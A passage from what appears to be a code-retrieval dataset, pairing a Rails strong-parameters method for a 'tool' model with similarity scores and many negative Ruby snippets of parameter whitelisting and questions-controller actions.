[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def tool_params params.require(:tool).permit(:name, :description, :image, :serial, :barcode, :date_purchased, :capability, :reservable, :max_reservation_time, :category_ids=>[]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def valid_params_request?; end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def active_code_params\n params[:active_code].permit\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def filter_parameters; end", "def filter_parameters; end", "def list_params\n params.permit(:name)\n end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def url_whitelist; end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def permit_request_params\n params.permit(:address)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69802505", "0.6781974", "0.67470175", "0.67430073", "0.67350477", "0.6593221", "0.6504263", "0.64988977", "0.6481794", "0.64800006", "0.64568025", "0.64411247", "0.6379476", "0.63765615", "0.6368045", "0.6320141", "0.6300363", "0.6300057", "0.62952244", "0.6294712", "0.6293856", "0.6290323", "0.62816143", "0.6241851", "0.6241208", "0.622036", "0.62128764", "0.62110275", "0.61966056", "0.61776453", "0.617547", "0.6174961", "0.61654735", "0.6153256", "0.61516005", "0.6149498", "0.6123234", "0.6118653", "0.61077267", "0.61061186", "0.6093616", "0.608318", "0.6074428", "0.60650206", "0.60244286", "0.6020295", "0.60155797", "0.6012826", "0.6010141", "0.6010141", "0.60037106", "0.600298", "0.59979576", "0.5994806", "0.5994283", "0.5993927", "0.5980616", "0.59667075", "0.59614897", "0.59610957", "0.596071", "0.5959614", "0.59554", "0.59542966", "0.5946781", "0.5940262", "0.5940262", "0.59401053", "0.5937168", "0.5932135", "0.59293395", "0.592659", "0.59202623", "0.59112674", "0.59088206", "0.590716", "0.59056735", "0.589997", "0.5899655", "0.5898926", "0.5896042", "0.589589", "0.5895867", "0.58894163", "0.5884936", "0.5879227", "0.58740723", "0.5871364", "0.5870148", "0.5869228", "0.5868196", "0.5867967", "0.5865532", "0.58653617", "0.58644646", "0.58631665", "0.5862611", "0.5857609", "0.58558804", "0.5853729", "0.5853025" ]
0.0
-1
def new? true end
def create? @user.expert end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new?\n true\n end", "def new?\n true\n end", "def new?\n true\n end", "def new?\n false\n end", "def new?\n raise NotImplementedError\n end", "def new?\n @new\n end", "def new?\n !!@new\n end", "def new?\n !!@new\n end", "def new?\n @new\n end", "def new?\n\t\t@new\n\tend", "def new?\n @new\n end", "def new?\n defined?(@new) ? @new : (@new = false)\n end", "def new?\n defined?(@new) ? @new : (@new = false)\n end", "def new?\n @is_new\n end", "def new?\n !@object\n end", "def new?\n !@object\n end", "def new\n\t\t\t\"Should we make something new?\"\n\t\tend", "def new?\n @type == 'NEW'\n end", "def new?\n\t\tcreate?\n\tend", "def new?\n create?\n end", "def new?\n create?\n end", "def new?\n create?\n end", "def new?\n create?\n end", "def new?\n create?\n end", "def self_new\n end", "def new?\n !exists?\n end", "def new?\n @_state.nil?\n end", "def new?\n status == STATUS_NEW\n end", "def new; end", "def new; end", "def new; end", "def new; end", "def new; end", "def new; end", "def new; end", "def new; end", "def new; end", "def new?\n !rev\n end", "def new?\n !rev\n end", "def new?\n !rev\n end", "def new?\n !@id\n end", "def new_record?() true end", "def new\n \n end", "def new_record?\n new?\n end", "def self_new\n raise \"Not implemented.\"\n end", "def new \n end", "def new\n \n end", "def new\n \n end", "def new\n \n end", "def new\n \n end", "def new\n \n end", "def new\n\t\t\"let's make something new.\"\n\tend", "def new \n end", "def new?\n !persisted?\n end", "def new \n end", "def new \n end", "def new?\n\t\t\t!@saved\n\t\tend", "def new_record? \n new? \n end", "def new\n \n end", "def new\n \n end", "def new\n \n end", "def new\n \n end", "def new\n \n end", "def new?\n profile\n @new\n end", "def new\n\t\t\n\tend", "def new\n\t\t\n\tend", "def new_record?\n new?\n end", "def new_record?\n new?\n end", "def new_record?\n new?\n end", "def new_record?\n new?\n end", "def really_new\n return self.new\n end", "def new?\n !defined?(@id)\n end", "def new_record?\n end", "def new\r\n end", "def new\r\n end", "def new\n end", "def new\n \n end", "def new_record?\n true\n end", "def new_record?\n true\n end", "def new_record?\n true\n end", "def new_record?; end", "def new_record?; end", "def isnew?\n if Client.new\n return false \n else\n return true \n end \n end", "def new?\n id == nil\n end", "def new?\n id.nil?\n end", "def new?\n id.nil?\n end", "def new\n end", "def new\n end", "def new\n end", "def new\n end", "def new\n end", "def new\n end", "def new\n end", "def new\n end", "def new?\n not defined?@repository\n end", "def new_record?\n false\n end", "def new?\n id.nil?\n end", "def new?\n id.nil?\n end", "def new?\n id.nil?\n end", "def new?\r\n id.nil?\r\n end", "def new_record?\n true\n end" ]
[ "0.9086221", "0.9086221", "0.9086221", "0.88459086", "0.8651886", "0.864735", "0.86128354", "0.86128354", "0.8577255", "0.85633606", "0.8497214", "0.84276015", "0.84276015", "0.8371342", "0.82822907", "0.82822907", "0.82284117", "0.8168017", "0.8068788", "0.801131", "0.801131", "0.801131", "0.801131", "0.801131", "0.7914455", "0.78701067", "0.7826096", "0.77512795", "0.76701593", "0.76701593", "0.76701593", "0.76701593", "0.76701593", "0.76701593", "0.76701593", "0.76701593", "0.76701593", "0.76643914", "0.76643914", "0.7625506", "0.7600653", "0.7571757", "0.7533864", "0.7510203", "0.7509556", "0.7475851", "0.74633497", "0.74633497", "0.74633497", "0.74633497", "0.74633497", "0.74503493", "0.7435665", "0.74306434", "0.74030155", "0.74030155", "0.73656124", "0.73613477", "0.73523194", "0.73523194", "0.73523194", "0.73523194", "0.73523194", "0.73388976", "0.73384774", "0.73384774", "0.7332811", "0.7332811", "0.7332811", "0.7332811", "0.7307148", "0.7299708", "0.7229685", "0.7213298", "0.7213298", "0.7210823", "0.7189401", "0.7184051", "0.7184051", "0.7184051", "0.7178583", "0.7178583", "0.7152031", "0.7126674", "0.71199304", "0.71199304", "0.7119144", "0.7119144", "0.7119144", "0.7119144", "0.7119144", "0.7119144", "0.7119144", "0.7119144", "0.7107596", "0.7106542", "0.71035767", "0.71035767", "0.71035767", "0.7102667", "0.70838034" ]
0.0
-1
GET /questions GET /questions.xml
def index @questions = Question.find(:all) respond_to do |format| format.html # index.rhtml format.json { render :text => @questions.to_json } format.xml { render :xml => @questions.to_xml } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def questions\n self.class.get(\"/2.2/questions\", @options)\n end", "def index\n @questions = Question.find(:all)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @questions }\n end\n end", "def index\n @questions = Question.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @questions }\n end\n end", "def index\n @questions = Question.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @questions }\n end\n end", "def index\n @questions = @page.questions.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @questions }\n end\n end", "def index\n @questions = @quiz.questions.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @questions }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html\n format.xml {render :xml => @question}\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html\n format.xml {render :xml => @question}\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render xml: @question }\n end\n end", "def index\n \n # @questions = Question.all\n\n # respond_to do |format|\n # format.html # index.html.erb\n # format.xml { render :xml => @questions }\n #end\n \n end", "def show\n\t@question = Question.find(params[:id])\n\n\trespond_to do |format|\n\t format.html # show.html.erb\n\t format.xml { render :xml => @question }\n\tend\n end", "def show\n\t@question = Question.find(params[:id])\n\n\trespond_to do |format|\n\t format.html # show.html.erb\n\t format.xml { render :xml => @question }\n\tend\n end", "def index\n @user_questions = UserQuestion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @user_questions }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n check_forged_path\n\n respond_to do |format|\n format.html # show.rhtml\n format.json { render :json => @question.to_json }\n format.xml { render :xml => @question.to_xml(:methods => [:purpose]) }\n end\n end", "def get_questions\n items = get_items\n make_response(HttpStatus::OK, make_result_list(items))\nend", "def show\n respond_to do |wants|\n wants.html # show.html.erb\n wants.xml { render :xml => @question }\n end\n end", "def get_question_list\n json= RestClient.get(\"http://localhost:3000/questions\")\n JSON.parse(json)\n end", "def show\n @survey_question = SurveyQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @survey_question }\n end\n end", "def show\n @user_question = UserQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user_question }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @question }\n end\n end", "def show\n @questionform_question = QuestionformQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @questionform_question }\n end\n end", "def show\n @questionform_question = QuestionformQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @questionform_question }\n end\n end", "def show\n @question = Question.find(params[:id])\n @course = @question.course\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question }\n end\n end", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @questionnaires }\n end\n end", "def show\n @quest = Quest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @quest }\n end\n end", "def show\n @questions = Question.find(params[:id])\n end", "def index\n @questions = Question.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @questions }\n end\n end", "def show\n @qa = Qa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :xml => @qa.to_json(:include => [:answer, :question]) }\n end\n end", "def index\n @questions = Question.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @questions }\n end\n end", "def index\n @options = @question.options.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @options }\n end\n end", "def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @questionnaire }\n end\n end", "def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @questionnaire }\n end\n end", "def show\n @question_topic = QuestionTopic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question_topic }\n end\n end", "def show\n @question_requirement = QuestionRequirement.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question_requirement }\n end\n end", "def index\n @answers = @question.answers.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @answers }\n end\n end", "def questions\n @response = self.class.get(\"/data/2.5/forecast\", @options)\n end", "def index\n @questionnaires = Questionnaire.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @questionnaires }\n end\n end", "def show\n @question_attribute = QuestionAttribute.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question_attribute }\n end\n end", "def show\n @survey = Survey.find(params[:id], :include => :questions)\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @survey }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end", "def show\n @question = current_node.questions.find(params[:id])\n @question.viewed!(request.remote_ip)\n @answers = (@question.answers.page params[:page]).order_by(current_order)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end", "def index\n @meta = '<META NAME=\"ROBOTS\" CONTENT=\"NOINDEX, NOFOLLOW\">'\n @questions = Question.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @questions }\n end\n end", "def index\n @course = Course.find(params[:course_id])\n @questions = @course.questions.current.due + @course.questions.current.pending.find(:all, :order => :next_datetime, :limit => 200)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @questions }\n end\n end", "def questions\n @root.questions\n end", "def new\n @question = Question.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end", "def index\n @api_v1_questions = Api::V1::Question.all\n end", "def show\n @answer = Answer.new\n respond_to do |format|\n format.html {render} # render questions/show.html.erb\n format.json {render json: @question.to_json}\n format.xml {render xml: @question.to_xml}\n end\n end", "def show\n @faq = Faq.get(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @faq }\n end\n end", "def show\n @cc_question = CcQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cc_question }\n end\n end", "def index\n @questions = @keyword.question_sheet.elements\n @predefined = QuestionSheet.find(APP_CONFIG['predefined_question_sheet'])\n respond_to do |wants|\n wants.html # index.html.erb\n wants.xml { render :xml => @questions }\n end\n end", "def show\n\t @question = Question.find(params[:id])\n\t\t@nodes = Node.includes(:node_question_relations).where('node_question_relations.question_id = ?', @question).references(:node_question_relations).paginate(page: params[:page], per_page: 20).order('content ASC') \n\n\t respond_to do |format|\n\t format.html # show.html.erb\n\t format.xml { render :xml => @question }\n\t end\n\tend", "def check_questions\n response = Request.get_request(URL_QUESTION)\n questions = []\n if response.success?\n data = Request.manage_response(response)\n end\n data.each do |question|\n questions << Question.new(question)\n end\n questions\nend", "def index\n find_questions\n end", "def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @question }\n end\n end", "def index\n @questions = Question.all\n end", "def index\n @questions = Question.all\n end", "def index\n @questions = Question.all\n end", "def index\n @questions = Question.all\n end", "def index\n @questions = Question.all\n end", "def index\n @questions = Question.all\n end", "def index\n @questions = Question.all\n end", "def index\n @questions = Question.all\n end", "def index\n @questions = Question.all\n end", "def index\n @questions = Question.all\n end", "def index\n @questions = Question.all\n end", "def index\n @questions = Question.all\n end", "def index\n @questions = Question.all\n end", "def index\n @questions = Question.all\n end", "def index\n @questions = Question.all\n end", "def index\n @questions = Question.all\n end", "def index\n @questions = Question.all\n end", "def index\n @questions = Question.all\n end", "def index\n @questions = Question.all\n end", "def index\n @sponsor_questions = SponsorQuestion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sponsor_questions }\n end\n end", "def show\n @answer = @question.answers.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @answer }\n end\n end", "def show\n @questao = Questao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @questao }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end", "def show\n @questions = Question.all\n end", "def faq\n respond_to do |format|\n format.html # faq.html.erb\n format.xml { render :xml => nil }\n end\n end", "def new\n\t@question = Question.new\n\n\n\trespond_to do |format|\n\t format.html # new.html.erb\n\t format.xml { render :xml => @question }\n\tend\n end" ]
